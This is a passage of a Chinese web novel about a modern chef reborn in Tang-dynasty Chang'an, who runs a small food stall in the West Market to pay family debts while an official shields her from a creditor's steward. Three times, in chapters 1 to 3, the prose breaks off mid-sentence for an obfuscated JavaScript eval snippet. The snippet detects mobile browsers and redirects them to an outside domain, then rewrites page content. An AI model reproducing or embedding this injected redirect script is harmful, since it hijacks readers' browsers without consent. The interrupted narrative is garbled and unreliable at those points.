《长安小食肆》 1. 第 1 章 卯时正刻，长安城一百零八坊的街鼓沉沉敲响，唤醒沉睡的巨城。 西市的坊门在吱呀声中缓缓开启，早已候在门外的商贩、帮工、挑夫们如同开闸的洪水，涌向各自的谋生之地。 霎时间，车马声、吆喝声、扁担吱嘎声、见面寒暄声沸反盈天，混杂着牲畜的腥臊、尘土的气息以及各家食铺开始生火熬煮的早餐味儿，共同构成了西市清晨独有的、生机勃勃又略显粗粝的市井交响。 在这片喧嚣之中，一辆老旧得几乎要散架的驴车，拉着几件简单的家伙什和一个新砌的泥炉，吱吱扭扭地停在了一间最不起眼的铺面门前。 那铺子门脸窄小，檐角挂着一块被油烟熏得黑黢黢的旧木匾，上面模糊可辨“沈记食肆”四个字。 赶车的福伯，一个头发花白、面带愁苦的老仆，一边费力地卸着东西，一边对着从车里跳下来的小娘子絮叨：“六娘，咱、咱们是不是再等等？这灶台昨儿个才勉强砌好，火气都没干透呢！面、面粉也只买了半袋，油盐酱醋都还没置办齐全……再说，这西市做吃食生意的没有一百也有八十，咱们这般仓促开张……” 被唤作六娘的小娘子，约莫十六七岁年纪，穿着一身洗得发白的藕色襦裙，身形略显单薄，但一双眸子却清亮有神，与这破落景象格格不入。 她仰头看着那块饱经风霜的旧匾，唇角抿起一个极浅却异常坚定的弧度。 “福伯，等不得啦。” 她的声音清脆，带着一种与年龄不符的沉稳。 “阿兄的药不能断，刘家的租子月底就要交，哪一样能等？再说了……” 她深吸一口弥漫着各种食物气息的空气，那味道复杂却让她莫名安心，伸手“吱呀”一声推开那扇略显沉重的木门。 晨光涌入，照亮了屋内积年的灰尘和空荡荡的堂屋，只有角落里那个新砌的灶台和几只空陶瓮显露出一点生机。 “有这口新灶，有面有油，还能饿死不成？您老就瞧好吧。” 谁能想到，三日前，这具身体里的灵魂还是千年后一名在米其林厨房里与高温、压力和国际食评家周旋的主厨沈知意。 一场离奇的厨房事故，再睁眼，就成了这个同名同姓、父亡家败、与病重兄长相依为命的唐朝小娘子沈六娘。 原主的记忆零碎而沉重：父亲本是京中小官，病逝后族亲欺他们兄妹年幼，侵吞了家产，只留下这间位于西市角落、破旧不堪的铺面和一堆说不清的债务。 唯一的依靠、兄长沈砚，又一病不起，咯血卧床。 绝境之下，来自现代的沈知意挽起袖子，决定重操旧业。 没什么比食物更能快速换来活命的钱粮了。 她今日要卖的，是最简单也最考验功夫的胡麻饼。 面团是昨夜她用仅剩的一点老面头悄悄发酵好的，手法和配比都暗含了现代技巧，更显暄软。 一小盆珍贵的白芝麻在窗台下晒得干爽喷香。 沈知意洗净手，将袖子挽到肘部，露出纤细却有力的手腕，开始揉面。 摔、打、揉、捏，动作行云流水，带着一种奇异的韵律感，看得福伯眼花缭乱，几乎忘了担忧。 “六娘，你、你几时学了这般好手艺？” 福伯喃喃道。 沈知意但笑不语，只将揉得光滑滋润的面团盖上湿布让其醒发。 她取来一小罐饴糖和更珍贵的一点点猪油，调和成油酥。 待面醒好，揪剂、擀开、抹酥、卷起再擀成碗口大的圆饼，动作快得让人目不暇接。 用刷子蘸了清水往饼面一抹，再扣入铺满芝麻的竹匾中一按、一旋，雪白的饼胚便均匀地沾上了一层密实的芝粒。 “福伯，生火！要文火，慢工出细活。” 沈知意吩咐道，声音里带着不容置疑的专注。 饼胚依次贴入炙炉内壁，热气渐渐升腾。 起初并无异样，但随着温度升高，一股难以言喻的、纯粹而霸道的焦香混合着浓郁麦香，便开始丝丝缕缕地逸散出来。 紧接着，芝麻被高温烘烤后特有的、极其醇厚的坚果油脂香气猛地爆发开来，如同一条无形的、诱人的钩索，强势地穿透食肆单薄的门板，混入西市清晨繁杂的空气之中。 第一个被这香味勾住的是个打着哈欠、眼角还糊着眼屎的帮闲汉子。 他原本正缩着脖子赶往某处等活计，却猛地刹住脚步，鼻子像猎犬般使劲嗅吸。 “嘶……啥玩意儿这么香？” 他循着味儿就摸到了沈记食肆门口，探着脑袋往里瞅。 “哎哟喂，这不是沈家那个铺子吗？换人做了？老福头，这是弄啥呢？香得老子肚里的馋虫直打滚！” “刚出炉的胡麻饼，三文一枚，客官可要尝尝？” 沈知意笑着用铁钳夹出一枚。 那饼已然烤得通体金黄，芝麻粒粒饱满鼓胀，热气腾腾，香气扑鼻。 汉子喉结滚动了一下，毫不犹豫地摸出三枚铜钱拍在案上：“来一个！这香得，顶风都能飘出三里地去！” 他接过饼，也顾不得烫，张嘴就是一大口。 “咔嚓”一声极清脆的轻响，饼皮应声而裂，极脆。 内里却是意想不到的软韧，热乎的麦香、油酥的甜香、芝麻的焦香层层叠叠、汹涌澎湃地冲入口中。 烫得他嘶嘶吸气，却舍不得停下，只能鼓着腮帮子含糊不清地连声怪叫：“嗷！香！真他娘的香！比东市那家吹上天的‘张记’强多了！酥脆！里面还软乎！绝了！” 这声夸张的赞叹和那持续散发、越来越浓郁的异香，便是最好的活招牌。 原本行色匆匆的路人，不少都慢下了脚步，好奇地望过来。 很快，食肆门口便聚起了三五个人。 “小娘子，给我也来两个！闻着是真不赖！” “某要一个，快些，某还要去上工！” “老福头，你们这是请了哪路神仙？这饼邪乎啊！” 沈知意手脚麻利地收钱、夹饼，嘴角始终噙着笑。 福伯一开始还有些手忙脚乱，很快也适应过来，收钱收得脸上笑开了花，那愁苦之色一扫而空。 第一炉胡麻饼，不到一刻钟便被抢购一空。 正当沈知意准备将第二炉饼贴入炙炉时，一个略显尖刻阴柔的声音，不太和谐地插了进来。 “哟嗬，挺热闹啊？沈小六娘，这是发达了？看来是没忘了，你还欠着我们刘府那十贯钱，今儿个可是最后期限了吧？” 人群的喧闹声像是被掐住了脖子，瞬间低了下去，不少人下意识地让开些许。 来人是个穿着绸缎长衫、头戴幞头、面色白净的中年管家，嘴角耷拉着，眼神里带着毫不掩饰的算计和轻蔑，身后跟着两个膀大腰圆的健仆。 正是城中富户刘府那位颇有权势、又以刻薄闻名的赵管家。 沈知意心下一沉，面上却不动声色，将手中的饼胚稳稳贴入炉内，这才转过身，用布巾擦了擦手。 “赵管家，钱，自然会还。但字据上白纸黑字写的是今日日落前，此刻日头才刚爬上来，您老这催得是不是早了些？” “哼！” 赵管家冷哼一声，三角眼扫过空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405750|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的饼案和排队的几人，语带讥讽。 “我怕你到时候拿不出，提前来瞧瞧。看来你这生意不错啊，这一早上进项不少吧？怎的，现在就能还了？连本带利，十贯又三百文！” 周围人窃窃私语，目光在沈知意和赵管家之间来回逡巡。 福伯脸色发白，攥紧了手里的铜钱。 沈知意正飞速思考着如何周旋，是先还一部分利息还是…… 忽闻一道清朗温润、如玉石相击的声音自人群外不紧不慢地传来。 “好生独特的饼香。小娘子，这胡麻饼可还有么？” 众人循声望去。 只见一位身着月白襕袍的年轻郎君立于人后，身形颀长，风姿秀逸，面容温润俊朗，腰间系着银带，悬着一枚玉珏，气质清贵却不逼人。 他身旁跟着个捧着书箱的青衣小童，主仆二人显然是被这香气吸引而来。 沈知意抬眼望去，微微一怔，旋即摇头，语气带上一丝恰到好处的歉意：“实在对不住这位郎君，第一炉刚卖完，第二炉还需等上片刻。” 那年轻郎君闻言，面上掠过一丝惋惜，目光这才似乎不经意地扫过场中，落在面色不善的赵管家身上。 他微微颔首，唇角含笑道：“这不是刘府赵管家么？方才隐约听闻，似是沈小娘子与贵府有债务未清？然则，既约定日落为期，何以清晨便来催逼？可是刘公近日改了府上规矩，需得如此急切？” 赵管家显然认得此人，方才那倨傲气焰顿时矮了半截，脸上迅速堆起近乎谄媚的笑容，连连拱手。 “原来是苏录事！失敬失敬！岂敢岂敢，刘公规矩岂会轻易更改？小人、小人只是路过，顺道提醒沈小娘子一句，绝无他意，这就走，这就走！” 说罢，竟是不敢再多留片刻，狠狠瞪了沈知意一眼，带着两个仆役灰溜溜地挤出了人群。 沈知意暗松一口气，敛衽向那苏录事行礼：“多谢郎君出言解围。” 苏录事坦然受了礼，笑容温和：“举手之劳，小娘子不必客气。实在是你这饼香过于诱人，苏某循香而来，恰逢其会罢了。” 他目光再次落向那炙炉，带着毫不掩饰的期待，“这第二炉，不知苏某可否预订两枚？” “自是使得！郎君稍候，片刻就好。” 沈知意应道，手下动作更快了几分。 第二炉饼香再次弥漫开来时，食肆前已排起了小小的队伍。 那苏录事拿到热腾腾的胡麻饼，并未立刻离开，而是就站在一旁，斯文地吹了吹气，方才咬下一口。 细细咀嚼之下，他眼中闪过一抹清晰的惊异与赞赏，笑道：“火候精准，外酥内软，麻香浓郁，油酥甜而不腻，调和得恰到好处。小娘子好手艺。” 他留下远超饼价的十几文钱，言道“不必找补”，便在沈知意连声道谢中，带着小童翩然离去。 至日落时分，所有胡麻饼售罄。 沈知意和福伯关起门来，点数着桌上那堆小山似的铜钱，竟有将近五百文。 刨去成本，净利颇丰，不仅足够支付刘家今日的利息，连兄长好几日的药钱也有了着落。 福伯捧着一串串铜钱，喜极而泣：“六娘……咱们、咱们真的赚到钱了！大郎有救了！有救了！” 沈知意仔细地将收入分成几份，心里盘算着明天的计划和要添置的东西。 她擦净灶台，走到门口，望着西市渐次亮起的灯火和逐渐稀疏的人流，听着远处传来的、预示着宵禁即将开始的沉沉鼓声，心中那份穿越而来的惶惑与不安，终于被这第一日奋斗换来的踏实感稍稍驱散。 2. 第 2 章 西市的喧嚣如同潮水，卯时涌来，酉时退去，分毫不差。 翌日清晨，沈记食肆那扇吱呀作响的木门比昨日更早一些开启。 沈知意将一块新刨光的木牌挂出门外，上书：“消暑圣品，槐叶冷淘面，二十文一份。” “二十文？！” 刚凑过来的一个挑夫模样汉子险些咬了舌头。 “小娘子，你咋不去抢哩？东头最好的羊肉馎饦也才十五文！” 旁边一个穿着体面些的行商也皱起眉：“是啊，什么面值这个价？莫非是金子揉的不成？” 福伯在一旁搓着手，脸色又有些发白，低声道：“六娘，这价……是不是忒高了点？昨日胡麻饼才三文……” 沈知意却不言语，只将浸在井水里镇着的那个大陶盆上的湿布揭开一角。 霎时间，一股混合着麦叶清香、又带着沁人冰气的白雾丝丝缕缕逸出，在这暑气开始蒸腾的早晨，显得格外诱人。 盆中，碧玉般的面条浸润在碎冰之间，根根分明，冰凉的气息仿佛能透过空气，钻入每个围观者的毛孔。 “此面以鲜嫩槐叶取汁，精白面揉制，经冰泉镇之，佐以秘制酱汁。” 沈知意声音清亮，不疾不徐。 “一日只此一盆，售完即止。是否值得，诸位一尝便知。” 那挑夫还在嘀咕，行商却已经不断用手扇风，试图驱赶脖颈间的热意。 他盯着那盆冒着寒气的碧绿面条，喉结滚动了一下。 昨日那胡麻饼的滋味他没赶上，只听人吹得天花乱坠，今日这冰凉玩意儿看着就舒坦。 “娘的，这鬼天气，热得人心慌！给小爷我来一份！” 行商终于忍不住，排出二十文大钱。 “要是不凉快，小爷我可要说道说道！” “客官稍候。” 沈知意唇角微扬，取过一个粗陶大碗，用长筷从冰堆里挑出适量面条，手腕一抖，沥去多余冰水。 又从旁边几个陶罐里，飞快地加入炒得金黄酥香的蛋松、焯过水的脆嫩菘菜丝，最后淋上一勺用盐、醋、少许饴糖和芝麻油调成的酸香酱汁。 一碗碧绿打底、金黄点缀、酱汁淋漓的冷淘面便被推到了行商面前。 冰气扑面，那行商迫不及待地抄起筷子，夹起一大口塞入嘴中。 刹那间，他眼睛猛地瞪圆。 冰，彻骨的冰凉瞬间驱散了舌苔上的燥热。 滑，面条极其爽滑，几乎不用咀嚼便溜入喉中。 韧细品之下，面条又带着恰到好处的柔韧，麦香与那股独特的槐叶清气混合，异常清爽。 酸香开胃的酱汁恰到好处地中和了冰镇的寒凉，蛋松酥脆，菘菜丝水灵，口感层次丰富得让他忘了说话。 “唔！！” 他发出一声模糊的赞叹，也顾不得冻嘴，大口大口吞咽起来，额角鬓边竟在这大热天里渗出些许因满足而产生的细密汗珠，但通体却是说不出的舒泰凉快。 “爽快！真他娘的爽快！” 一碗下肚，他畅快地长吁一口气，抹了把嘴，意犹未尽。 “凉丝丝、滑溜溜、酸香开胃！小娘子，再给我留一碗，我叫我家伙计过来吃！” 有了这活招牌，那二十文的价格似乎也不再刺眼了。 很快，食肆门口又排起了队，多是些看起来手头略宽裕的行商、小吏，甚至还有两个穿着绢衣、像是大户人家出来采买的仆役，也被这新奇冰爽的吃食吸引过来。 “给我也来一碗！” “小娘子，手快些，某还要去衙门应卯！” 福伯收钱收得手忙脚乱，脸上的皱纹都笑开了花，不时偷偷瞄一眼那盆迅速减少的冷淘面，心里盘算着这一碗的利润能抵多少胡麻饼。 沈知意手下不停，心中却清明。 这冷淘面利润虽高，但依赖冰窖存冰，成本不菲，且夏日将过，并非长久之计。 她一边操作，一边已开始思忖明日该做何物。 日头渐高，那盆冷淘面终于见了底。 最后一位客人端着碗，蹲在店门口屋檐下吃得稀里呼噜，满脸享受。 沈知意正要歇口气，却见昨日那刘府的赵管家，又摇着那把附庸风雅的折扇，溜溜达达地走了过来，身后依旧跟着那两个健仆。 他瞥见空了的陶盆和沈知意手边那盛满铜钱的木匣，三角眼里闪过一丝精光，阴阳怪气地开口：“哟，沈小娘子，生意兴隆啊？这赚得盆满钵满的，看来那十贯钱，今日是能还上了？” 沈知意心知他是故意挑人多时来寻衅，压下心头厌烦，平静道：“赵管家，日落前，自会按约将利钱送至府上。” “利钱？”赵管家声音拔高，“刘公昨日发了话，这账拖得太久，看着你们这生意红火，想必是还得起本金了，今日这十贯钱，连本带利，一并结清了吧！” 周围还没散去的客人顿时安静下来，目光聚焦过来。 福伯脸色煞白，下意识想将钱匣藏起来。 沈知意心中一凛，知道这是对方见生意好，故意刁难，想提前逼债，甚至可能想借此搅黄她的生意。 她正急速思索对策，一道温润平和的声音恰在此时响起，打破了这紧绷的气氛。 “好清凉的气息，看来苏某又来迟一步？” 苏晏清一袭月白襕袍，依旧带着那个捧书箱的小童，仿佛只是偶然路过，目光落在空盆上，略带遗憾。 他随即像是才看到赵管家，微微颔首，“赵管家也在？真是巧。方才似乎听闻……刘公欲今日便收回沈家欠款？这倒与昨日苏某所见字据约定不符。莫非是字据有所更改？若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405751|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如此，倒需仔细验看一番，以免日后生出什么误会。” 他语气温和，甚至带着点请教的意思，但赵管家的脸却瞬间白了半分。 他敢欺沈家兄妹孤弱，却绝不敢在一位明显有官身、且可能与市署官员相熟的郎君面前公然扭曲白纸黑字的契约。 “苏、苏录事说笑了！” 赵管家赶紧挤出笑容，腰都弯了几分。 “字据自然没改，没改！是小人听差了，听差了主家的意思！该死，真是该死！日落前，只需日落前送来利钱便好，本金……本金日后再说，日后再说！” 他一边说，一边用眼角狠狠剜了沈知意一眼，带着仆役灰溜溜地快步走了，仿佛生怕苏晏清再叫住他。 沈知意松了口气，再次向苏晏清道谢：“又劳烦苏录事了。” 苏晏清笑了笑，目光却落在那碗沈知意留给自家兄长、还未浇汁的冷淘面上：“小娘子总是能让苏某错过美味。这便是那价值二十文的冷淘面？色泽如玉，青翠可爱，光是看着便觉凉意顿生。” 沈知意心中一动，索性将那份面取出，熟练地加上浇头酱汁，递了过去：“苏录事屡次相助，区区一碗面，不成敬意，请您品尝。” 苏晏清微怔，随即含笑接过：“那便多谢小娘子美意了。” 他吃相极为优雅，速度却不慢，细细品味之下，眼中赞赏之色愈浓：“冰丝绕齿，清甜沁心，酸香开胃，暑气顿消。小娘子于美食一道，确有化腐朽为神奇之能。” 他放下空碗，沉吟片刻，忽然道，“小娘子可有想过，赁一处更大的铺面？西市管理市署的陈主簿，与家父有旧，若小娘子有意，苏某或可代为引荐。” 沈知意心中猛地一跳。 扩大经营，她自然想过，但债务缠身，兄长病重，她根本无力考虑。此刻机会忽然摆在眼前…… 她深吸一口气，压下激动，谨慎道：“苏录事厚爱，知意感激不尽。只是眼下……家中尚有困难，恐负您美意。” 她目光瞥向屋内，暗示兄长的病情。 苏晏清了然，温和道：“无妨，此事不急。待小娘子何时觉得时机合适，可随时告知苏某。” 他放下三十文钱，温声道，“面钱。明日若有新品，盼能先知。” 送走苏晏清，沈知意看着那盆化尽的冰水和满当当的钱匣，喜悦之余，却感到肩上的担子更重了些。 机会似乎来了，但脚下的路，还得一步一步踩实。 她仔细将收入分好，预备还债的、买药的、留作本钱的，正要拿起兄长的那份药和冰镇好的面送去后院，福伯却脸色惊慌地从后院跑来，声音发颤：“六娘！不好了！大郎他、他咳得厉害，痰里……痰里带血丝了！” 沈知意脸上的血色瞬间褪尽，手中的钱串“哗啦”一声掉在案上。 3. 第 3 章 沈记食肆开张第三日，那扇吱呀作响的木门照常开启。只是今日，门口挂着的木牌上，依旧写着“秘制胡麻饼，三文一枚”，并未更换新品。 福伯一边将新采购的两袋面粉搬进店，一边有些担忧地低声道：“六娘，咱们今日还只卖饼？昨日那冷淘面……赚得可比饼多多了。” 他见识了昨日二十文一碗面的进项，再看这三文一枚的饼，总觉得有些不够看。 沈知意正仔细检查着新送来的芝麻成色，头也没抬：“福伯，饭要一口一口吃，路要一步一步走。胡麻饼是咱们立身的根本，昨日才卖了一天，口碑刚传开，今日就换了，让昨日没买着、今日特意寻来的老客怎么想？冷了人心，往后什么好东西都难卖出去。” 她顿了顿，又道：“况且，那冷淘面看着赚头大，但耗冰太多，成本也高，不是长久买卖。先把这胡麻饼做稳做透了，打出名号，比什么都强。” 福伯似懂非懂，但见沈知意语气坚决，便也不再言语，只默默将昨日赚来的钱拿出一部分，按吩咐去肉铺割了一小条肥瘦相间的羊肋肉回来。 沈知意并非固步自封。 她今日虽仍主卖胡麻饼，却悄悄做了改良。 在和面时，她尝试加入了少许研磨极细的芝麻粉，让饼胚自带一股更浓郁的底味。又调整了烤制的火候，让饼皮在酥脆之余，更添一层焦香。 最重要的，她推出了“加料”的选择。 “老主顾，今日胡麻饼照旧三文。” 她对第一个上门的、昨日没排到冷淘面的熟脸工匠笑道，同时指了指旁边一个小陶碟里新炒制的、油润喷香的肉臊子。 “加一勺羊肉臊子，另添两文。您尝尝？” 那工匠昨日就馋得不行，今日特意早早赶来，闻言眼睛一亮：“还能加肉臊？加！必须加！给某来一个加肉的！” 新出炉的胡麻饼一切两半，中间夹上满满一勺炒得咸香适口、冒着热气的羊肉臊子。 工匠接过，迫不及待一大口咬下。 “唔！香！饼更香了！这肉臊子炒得地道，油滋滋的，跟这酥饼真是绝配！” 他含糊不清地赞着，吃得满嘴流油，心满意足。 这“加肉”的选项，立刻受到了不少囊中稍显宽裕的食客欢迎。 一个早晨，竟也卖出去二三十份，进项又多了一笔。 沈知意一边忙碌，一边留心观察着往来人流和左邻右舍。 她发现斜对面一家卖蒸饼的铺子，那胖掌柜频频朝她这边张望，脸色不太好看。 而隔壁一家卖浆饮的老妪，则偶尔会对她露出善意的微笑。 市井人情，便在这一点一滴的打量和接触中慢慢体会。 午间稍闲时，她盛了一碗特意留下的、未加调料的羊肉臊子，又包了两枚刚出炉的胡麻饼，走到隔壁浆饮铺子前。 “阿婆，今日做了些吃食，您尝尝鲜，往后还请多关照。”她笑着将东西递过去。 那老妪显然有些意外，推辞了两下，见沈知意态度诚恳，便也笑着收了：“小娘子太客气了。你这饼，香得很，老婆子我早就闻着了。” 她压低了些声音，朝斜对面努努嘴，“那边张记的，脸都青了哩！往日里就他家伙食铺生意最好，你这是抢了他风头喽！” 沈知意笑笑，并不接话，只道：“都是混口饭吃，以后还要阿婆多提点。” 正说着，忽见福伯从后院匆匆过来，面色有些紧张：“六娘，大郎的药……仁心堂的伙计说，孙郎中昨日开的方子里有两味药，铺子里存货不多了，价钱……涨了三成。” 沈知意心里“咯噔”一下。 兄长的病是她心头最重的石头。 她面上不动声色，对老妪道了声歉，转身回店，低声问：“涨了多少？还能抓几副？” “涨了足足三成！咱们昨儿赚的钱，刨开要还给刘家的利钱和本钱，若按新价抓药，最多……最多只够三天的量。” 福伯声音发苦。 沈知意抿紧了唇。 这才刚看到一点希望，现实的重压又立刻逼了上来。她沉默片刻，道：“抓！先抓三天的药。钱，我再想办法。” 看来，只靠三文一枚的胡麻饼，即便加了肉臊，想要快速攒够药费和巨额债务，还是太慢。 她需要一款更能赚钱、但又不能太过突兀的新品。 下午时分，食客稍稀。 沈知意让福伯看着铺子，自己揣了些钱，去了西市里的杂货区。 她并非漫无目的地闲逛，而是目标明确地寻找着几样东西：品质好些的茱萸、花椒，以及便宜的豚肉。 唐代羊肉为贵，豚肉价贱，且多被士人认为是不洁之物，但市井平民食之者众。 对她来说，降低成本是关键。 最终，她挑中了一副肥多瘦少的豚肉腩，价格不足羊肉三分之一，又买了一些品相不错的茱萸和花椒，甚至还幸运地从一个胡商那里买到一小包价格相对昂贵的胡椒，小心翼翼地收好。 回到食肆，她立刻着手处理豚肉。 将肉腩洗净，肥瘦分开，肥肉部分下锅炼出油脂，油渣捞出另用。瘦肉则细细剁成糜状。 她将新买的花椒、茱萸在锅内小火焙香，研磨成粗粉。 又切了姜末，备好饴糖和盐。 热锅注入炼好的豚油，下姜末爆香，再倒入瘦肉糜快速划散炒熟。 随之加入花椒粉、茱萸粉、盐和少许饴糖调味，最后撒入一把切得细碎的油渣增加口感层次。 刹那间，一股极其猛烈的、复合型的辛香肉香气浪在食肆内炸开。 那香气带着动物油脂的丰腴，又有花椒的麻、茱萸的辛、姜的暖，混合着焦香的肉味，霸道无比，甚至盖过了胡麻饼的香气，如同实质般冲出店铺，席卷街面。 “嚯！！这又是啥味儿？！” 街上不少人被这突如其来的浓香呛得连打喷嚏，却又忍不住猛吸鼻子，寻找来源。 很快，人们发现这勾魂摄魄的香气，依旧来自那间小小的沈记食肆。 沈知意正在将炒好的肉臊盛入一个大陶罐里保温。 这肉臊，她打算明日用来作为胡麻饼的加料选项，但还有更重要的用途，她要推出新品“豚肉臊子面。” “今日新品，‘豚肉臊子面’！” 她将一块新写好的木牌挂出。 “十五文一碗！每日限量三十碗！” 她用炼出的豚油和茱萸花椒粉，快速调了一个红亮喷香的辣油。 另一边大锅里，骨头汤正咕嘟咕嘟地冒着热气，那是她用昨日买的羊骨和今日的豚骨熬了一上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405752|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午的底汤。 面条是提前擀好切就的宽面，煮熟后捞入碗中，浇上滚热的骨头汤，铺上一大勺刚炒好的、油润辛香的豚肉臊子，最后再淋上小半勺红艳艳的辣油。 一碗热气腾腾、红油浮面、肉臊饱满、香气扑鼻的臊子面便成了。 这香气实在太具侵略性，价格又比冷淘面便宜五文，比加肉胡麻饼也贵不了多少，却是一大碗实实在在的汤面。 立刻吸引了大量刚下工、腹中饥饿的劳力、工匠和普通市民。 “给我来一碗！这味儿太勾人了！” “十五文？有肉有面还有汤？值！小娘子快些！” “嘶哈……这辣油够劲！痛快！吃完出一身汗，舒坦！” 三十碗面，几乎是在顷刻间便被抢购一空。 连带这胡麻饼也卖得更快了些。 许多买不到面的人，退而求其次也要买个加肉胡麻饼解馋。 沈知意忙得脚不沾地，额发都被汗水打湿。 福伯收钱收到手软，脸上的愁容早已被兴奋取代，偶尔看向沈知意的目光里，充满了难以置信的敬佩。 日落时分，清点收入。 今日因有了臊子面这十五文一碗的进项，总收入竟比昨日卖冷淘面时还要多出不少。 沈知意仔细将钱分好，特意将药钱和明日预备多买豚肉、茱萸的本钱留足，这才拿起那份要还给刘家的利钱。 她正准备亲自送去，却见昨日那苏录事，竟又踩着点出现在了暮色里。 今日他未着官袍，只一身素雅的青灰色常服，更显身姿挺拔。 他依旧是循着香味而来，看到那“豚肉臊子面”已售罄的牌子，不由失笑：“苏某似乎总是与小娘子的新品无缘。” 沈知意连忙道：“苏录事若不嫌弃，这豚肉臊子还剩下一些，给您烙个饼夹肉可好？” 苏晏清从善如流：“如此甚好。” 沈知意手脚麻利地烙了个热饼，夹上满满一勺犹带温热的肉臊，递了过去。 苏晏清接过，优雅地咬了一口，细细品味。 那复合的辛香立刻征服了他的味蕾。 他眼中亮起惊讶的光芒：“肥而不腻，瘦而不柴，麻、辛、咸、香诸味调和得天衣无缝，竟将豚肉烹制得如此美味！小娘子巧思，苏某佩服。” 他顿了顿，似不经意问道，“今日看来，生意比昨日更胜一筹。小娘子可还考虑苏某昨日之提议？” 沈知意这次没有立刻拒绝。 她看了看手中沉甸甸的钱串，又想起兄长那昂贵的药费，心中权衡片刻，终于道：“苏录事美意，知意感激。只是眼下家兄病重，实在分身乏术。待家兄病情稍稳，知意再厚颜请您相助，不知可否？” 苏晏清了然点头，笑容温和：“自然。孝悌之心，人伦之本，自当以令兄病情为重。苏某随时恭候。” 他再次留下远超饼价的银钱，翩然离去。 送走苏晏清，沈知意深吸一口气，拿起那份利钱，走向刘府方向。 暮色中的西市灯火初上，人声渐稀，她瘦弱的背影却挺得笔直。 今日的收入让她看到了更大的希望，但兄长的病和沉重的债务，依旧像两座大山压在心头。 生意需循序渐进，但赚钱的速度，却必须要快一些，再快一些。 4. 第 4 章 生意渐入佳境，沈记食肆门口每日清晨排起的小队，成了西市一隅的新景。 沈知意却不敢有丝毫松懈。 兄长的药一日贵过一日，刘家的债像悬顶之剑，她必须赚更多，更快。 这日，她并未急着推出新品，而是将“豚肉臊子面”和“加肉胡麻饼”又稳稳地卖了一日。 市井传言如同长风，自有其路径。 那辛香扑鼻的臊子面名声愈发响亮，甚至引来了些穿着明显不是西市常客的体面人物，或是好奇张望，或是遣小厮来买上一碗，躲在车里尝鲜。 沈知意冷眼瞧着，心中渐有计较。 西市鱼龙混杂，既有挥汗如雨的苦力，也有家底殷实的行商，甚至不乏低调而来的文人小吏。一味做廉价吃食，固然能饱腹，却难赚大钱。 若要快速积累，须得有一两样能“上得台面”、让那些舍得花钱的主儿心甘情愿掏出更多银钱的镇店之宝。 她将目光投向了西市的鱼肆。 唐代重羊肉而轻鱼脍，但精致的鱼脍却是贵族宴饮上的珍品，极考验刀工与调味。 若能以此为引…… 次日，她并未如常挂出食牌，反而让福伯去鱼肆，不惜重金买回一尾最为鲜活肥美的赤鳞鲫鱼，又置办了些许时令鲜果并各色调料。 “六娘，这鱼价忒贵！都快抵上小半只羊了！” 福伯捧着那尾还在蹦跶的鱼，手都在抖。 “福伯，舍不得孩子套不着狼。”沈知意眼神沉静，“今日咱们不做大众生意，只卖‘限量’。” 她净手焚香，并非迷信，而是为了驱散杂味，保持极致洁净。取出专门磨利的薄刃柳叶刀，屏息凝神。 鱼置于冰镇过的青瓷盘中。 只见她手腕轻旋，刀光如雪片纷飞，动作快得只余残影。 片时，鱼肉已尽数离骨，被片成薄如蝉翼、近乎透明的鱼片，整齐码放如花瓣层叠，鱼头鱼尾仍保持原状置于盘首尾，宛若一条冰雕玉琢的鱼儿卧于盘中。 这手神乎其技的刀工，是她前世在顶级日料店苦练多年的绝活，此刻施展，震慑得福伯大气不敢出。 接着，她取来新嫩的橙子，榨取清汁，混合上好的浙醋、细盐、少许饴糖，又加入一点点捣碎的熟粟米，调成一碗金黄粘稠、酸甜适口的“金齑”。 另配了一碟用茱萸、胡椒、蒜末、酱油调成的“辣豉汁”，一碟简单的盐醋汁。 她并未大肆声张，只将食牌翻到背面，上面以清秀字迹写着：“金齑玉鲙，每日限供五份，每份一百文。需预定。” 一百文！这价钱如同巨石投湖，瞬间在小小的西市角落激起千层浪。 “一百文吃一口鱼生？小娘子，你莫不是失心疯了！” 昨日还夸臊子面痛快的老主顾惊得瞠目结舌。 “啧啧，真是想钱想疯了！谁吃谁冤大头！” 斜对面张记蒸饼的胖掌柜终于忍不住，抱着胳膊站在店门口嗤笑。 质疑、嘲讽、看热闹的目光聚焦而来。 福伯面红耳赤，几乎想将牌子藏起来。 沈知意却恍若未闻，只安然坐在店中，细细擦拭着刀具。 她赌的是长安这座帝国都城深藏的奢华底色和对新奇美味的追逐之心。 一个上午，无人问津。预定的五份，一份未出。 福伯急得嘴角起泡，不住地看向那盘用冰小心翼翼镇着的鱼脍，仿佛看的不是食物，而是哗啦啦流走的铜钱。 午后，日头偏西。 